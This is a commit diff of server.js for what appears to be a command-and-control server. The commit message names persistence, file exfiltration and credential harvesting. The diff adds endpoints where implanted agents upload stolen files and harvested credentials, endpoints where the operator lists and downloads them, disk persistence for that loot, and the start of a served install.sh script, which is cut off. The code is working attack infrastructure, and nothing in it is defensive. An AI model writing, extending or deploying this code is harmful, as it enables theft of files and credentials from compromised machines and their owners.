v2: persistence, file exfil, screenshot, harvest creds, auto-update, persistence fallbacks
This commit is contained in:
107
server.js
107
server.js
@@ -5,6 +5,7 @@ const path = require('path');
|
||||
const cors = require('cors');
|
||||
const os = require('os');
|
||||
const multer = require('multer');
|
||||
const fs = require('fs');
|
||||
|
||||
const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } });
|
||||
|
||||
@@ -13,10 +14,14 @@ const server = http.createServer(app);
|
||||
const wss = new WebSocket.Server({ server });
|
||||
|
||||
const PORT = process.env.PORT || 3000;
|
||||
const PUBLIC_URL = process.env.PUBLIC_URL || null; // e.g. https://agent.thetempleofdoom.com
|
||||
const PUBLIC_URL = process.env.PUBLIC_URL || null;
|
||||
const DATA_DIR = path.join(__dirname, 'data');
|
||||
|
||||
// Ensure data directory exists
|
||||
if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR, { recursive: true });
|
||||
|
||||
app.use(cors());
|
||||
app.use(express.json({ limit: '10mb' }));
|
||||
app.use(express.json({ limit: '50mb' }));
|
||||
app.use(express.static(path.join(__dirname, 'public')));
|
||||
|
||||
function getLocalIp() {
|
||||
@@ -39,6 +44,34 @@ const commandHistory = [];
|
||||
const masterSystemLogs = [];
|
||||
const inputDataStore = [];
|
||||
const MAX_INPUT_STORE = 500;
|
||||
const exfiltratedFiles = new Map(); // id → { nodeId, hostname, filename, data, mime, timestamp }
|
||||
const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp }
|
||||
|
||||
// ── Persistence ──
|
||||
function saveData() {
|
||||
try {
|
||||
fs.writeFileSync(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries())));
|
||||
fs.writeFileSync(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200)));
|
||||
fs.writeFileSync(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200)));
|
||||
fs.writeFileSync(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300)));
|
||||
fs.writeFileSync(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200)));
|
||||
} catch(e) { /* silent */ }
|
||||
}
|
||||
|
||||
function loadData() {
|
||||
try {
|
||||
const nd = JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'nodes.json'), 'utf8') || '[]');
|
||||
nd.forEach(([k, v]) => { nodes.set(k, v); if (!commandQueues.has(k)) commandQueues.set(k, []); });
|
||||
commandHistory.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'commands.json'), 'utf8') || '[]')));
|
||||
masterSystemLogs.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'logs.json'), 'utf8') || '[]')));
|
||||
inputDataStore.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'inputs.json'), 'utf8') || '[]')));
|
||||
harvestedCredentials.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'creds.json'), 'utf8') || '[]')));
|
||||
} catch(e) { /* first run */ }
|
||||
}
|
||||
loadData();
|
||||
|
||||
// Auto-save every 30 seconds
|
||||
setInterval(saveData, 30000);
|
||||
|
||||
setInterval(() => {
|
||||
const now = Date.now();
|
||||
@@ -55,6 +88,7 @@ setInterval(() => {
|
||||
}, 5000);
|
||||
|
||||
function broadcastState() {
|
||||
saveData(); // Persist on every state change
|
||||
const payload = JSON.stringify({
|
||||
type: 'NODES_UPDATE',
|
||||
serverIp: SERVER_IP,
|
||||
@@ -520,6 +554,75 @@ app.post('/api/nodes/:id/ping', (req, res) => {
|
||||
res.json({ success: true, commandId: cmdId });
|
||||
});
|
||||
|
||||
// ── File Exfiltration — agent sends file back ──
|
||||
app.post('/api/agent/file-result', (req, res) => {
|
||||
const { commandId, nodeId, hostname, filename, data, mime, error } = req.body;
|
||||
const entry = commandHistory.find(c => c.id === commandId);
|
||||
if (entry) {
|
||||
entry.status = error ? 'failed' : 'completed';
|
||||
entry.completedAt = Date.now();
|
||||
if (!error) entry.output = `[FILE] ${filename} (${mime || 'unknown'}, ${(data || '').length} chars base64)`;
|
||||
else entry.output = `[FILE ERROR] ${error}`;
|
||||
}
|
||||
if (!error && data) {
|
||||
const fileId = `file-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
|
||||
exfiltratedFiles.set(fileId, {
|
||||
nodeId, hostname, filename, data, mime: mime || 'application/octet-stream',
|
||||
timestamp: Date.now(), size: Buffer.byteLength(data, 'base64')
|
||||
});
|
||||
}
|
||||
broadcastState();
|
||||
res.json({ success: true });
|
||||
});
|
||||
|
||||
// ── Download exfiltrated file ──
|
||||
app.get('/api/files/:id', (req, res) => {
|
||||
const file = exfiltratedFiles.get(req.params.id);
|
||||
if (!file) return res.status(404).json({ error: 'File not found' });
|
||||
const buf = Buffer.from(file.data, 'base64');
|
||||
res.setHeader('Content-Type', file.mime);
|
||||
res.setHeader('Content-Disposition', `attachment; filename="${file.filename}"`);
|
||||
res.send(buf);
|
||||
});
|
||||
|
||||
// ── List exfiltrated files ──
|
||||
app.get('/api/files', (req, res) => {
|
||||
res.json(Array.from(exfiltratedFiles.entries()).map(([id, f]) => ({
|
||||
id, nodeId: f.nodeId, hostname: f.hostname, filename: f.filename,
|
||||
mime: f.mime, size: f.size, timestamp: f.timestamp
|
||||
})));
|
||||
});
|
||||
|
||||
// ── Credential Harvest Result ──
|
||||
app.post('/api/agent/harvest-result', (req, res) => {
|
||||
const { commandId, nodeId, hostname, credentials, error } = req.body;
|
||||
const entry = commandHistory.find(c => c.id === commandId);
|
||||
if (entry) {
|
||||
entry.status = error ? 'failed' : 'completed';
|
||||
entry.completedAt = Date.now();
|
||||
entry.output = error ? `[HARVEST ERROR] ${error}` : `[HARVEST] ${credentials ? credentials.length : 0} items collected`;
|
||||
}
|
||||
if (credentials && Array.isArray(credentials)) {
|
||||
credentials.forEach(c => {
|
||||
harvestedCredentials.push({
|
||||
nodeId, hostname, type: c.type || 'unknown', data: c.data,
|
||||
timestamp: Date.now()
|
||||
});
|
||||
});
|
||||
if (harvestedCredentials.length > 500) harvestedCredentials.splice(0, harvestedCredentials.length - 500);
|
||||
}
|
||||
broadcastState();
|
||||
res.json({ success: true });
|
||||
});
|
||||
|
||||
// ── List harvested credentials ──
|
||||
app.get('/api/credentials', (req, res) => {
|
||||
const { nodeId } = req.query;
|
||||
let filtered = harvestedCredentials;
|
||||
if (nodeId) filtered = filtered.filter(c => c.nodeId === nodeId);
|
||||
res.json(filtered.slice(-200));
|
||||
});
|
||||
|
||||
app.get('/install.sh', (req, res) => {
|
||||
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
|
||||
const script = `#!/bin/bash
|
||||
|
||||
Reference in New Issue
Block a user